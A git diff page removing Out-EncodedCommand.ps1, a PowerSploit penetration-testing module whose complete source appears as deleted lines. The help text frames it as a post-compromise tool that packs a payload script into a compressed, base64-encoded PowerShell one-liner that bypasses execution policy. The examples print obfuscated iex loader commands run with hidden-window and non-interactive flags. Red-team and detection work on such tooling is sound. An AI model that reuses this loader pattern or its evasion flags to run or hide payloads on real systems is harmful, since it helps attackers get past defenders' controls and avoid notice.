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Diffstat (limited to 'Out-EncodedCommand.ps1')
-rw-r--r-- | Out-EncodedCommand.ps1 | 182 |
1 files changed, 0 insertions, 182 deletions
diff --git a/Out-EncodedCommand.ps1 b/Out-EncodedCommand.ps1 deleted file mode 100644 index a27e0fb..0000000 --- a/Out-EncodedCommand.ps1 +++ /dev/null @@ -1,182 +0,0 @@ -function Out-EncodedCommand
-{
-<#
-.SYNOPSIS
-
-Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
-
-PowerSploit Module - Out-EncodedCommand
-Author: Matthew Graeber (@mattifestation)
-License: BSD 3-Clause
-
-.DESCRIPTION
-
-Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
-
-.PARAMETER ScriptBlock
-
-Specifies a scriptblock containing your payload.
-
-.PARAMETER Path
-
-Specifies the path to your payload.
-
-.PARAMETER NoExit
-
-Outputs the option to not exit after running startup commands.
-
-.PARAMETER NoProfile
-
-Outputs the option to not load the Windows PowerShell profile.
-
-.PARAMETER NonInteractive
-
-Outputs the option to not present an interactive prompt to the user.
-
-.PARAMETER Wow64
-
-Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
-
-.PARAMETER WindowStyle
-
-Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
-
-.PARAMETER EncodedOutput
-
-Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid.
-
-.EXAMPLE
-
-C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
-
-powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
-
-.EXAMPLE
-
-C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
-
-powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
-
-Description
------------
-Execute the above payload for the lulz. >D
-
-.NOTES
-
-This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip)
-
-.LINK
-
-http://www.exploit-monday.com
-#>
-
- [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
- [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
- [ValidateNotNullOrEmpty()]
- [ScriptBlock]
- $ScriptBlock,
-
- [Parameter(Position = 0, ParameterSetName = 'FilePath' )]
- [ValidateNotNullOrEmpty()]
- [String]
- $Path,
-
- [Switch]
- $NoExit,
-
- [Switch]
- $NoProfile,
-
- [Switch]
- $NonInteractive,
-
- [Switch]
- $Wow64,
-
- [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
- [String]
- $WindowStyle,
-
- [Switch]
- $EncodedOutput
- )
-
- if ($PSBoundParameters['Path'])
- {
- Get-ChildItem $Path -ErrorAction Stop | Out-Null
- $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path))
- }
- else
- {
- $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
- }
-
- $CompressedStream = New-Object IO.MemoryStream
- $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
- $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
- $DeflateStream.Dispose()
- $CompressedScriptBytes = $CompressedStream.ToArray()
- $CompressedStream.Dispose()
- $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
-
- # Generate the code that will decompress and execute the payload.
- # This code is intentionally ugly to save space.
- $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
-
- # Base-64 strings passed to -EncodedCommand must be unicode encoded.
- $UnicodeEncoder = New-Object System.Text.UnicodeEncoding
- $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
-
- # Build the command line options
- # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea.
- $CommandlineOptions = New-Object String[](0)
- if ($PSBoundParameters['NoExit'])
- { $CommandlineOptions += '-NoE' }
- if ($PSBoundParameters['NoProfile'])
- { $CommandlineOptions += '-NoP' }
- if ($PSBoundParameters['NonInteractive'])
- { $CommandlineOptions += '-NonI' }
- if ($PSBoundParameters['WindowStyle'])
- { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" }
-
- $CmdMaxLength = 8190
-
- # Build up the full command-line string. Default to outputting a fully base-64 encoded command.
- # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial
- # base-64 encoding to save space. Thanks @Carlos_Perez for the idea.
- if ($PSBoundParameters['Wow64'])
- {
- $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
-
- if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
- {
- $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
- }
-
- if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
- {
- $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
- }
- }
- else
- {
- $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
-
- if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
- {
- $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
- }
-
- if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
- {
- $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
- }
- }
-
- if ($CommandLineOutput.Length -gt $CmdMaxLength)
- {
- Write-Warning 'This command exceeds the cmd.exe maximum allowed length!'
- }
-
- Write-Output $CommandLineOutput
-}
\ No newline at end of file |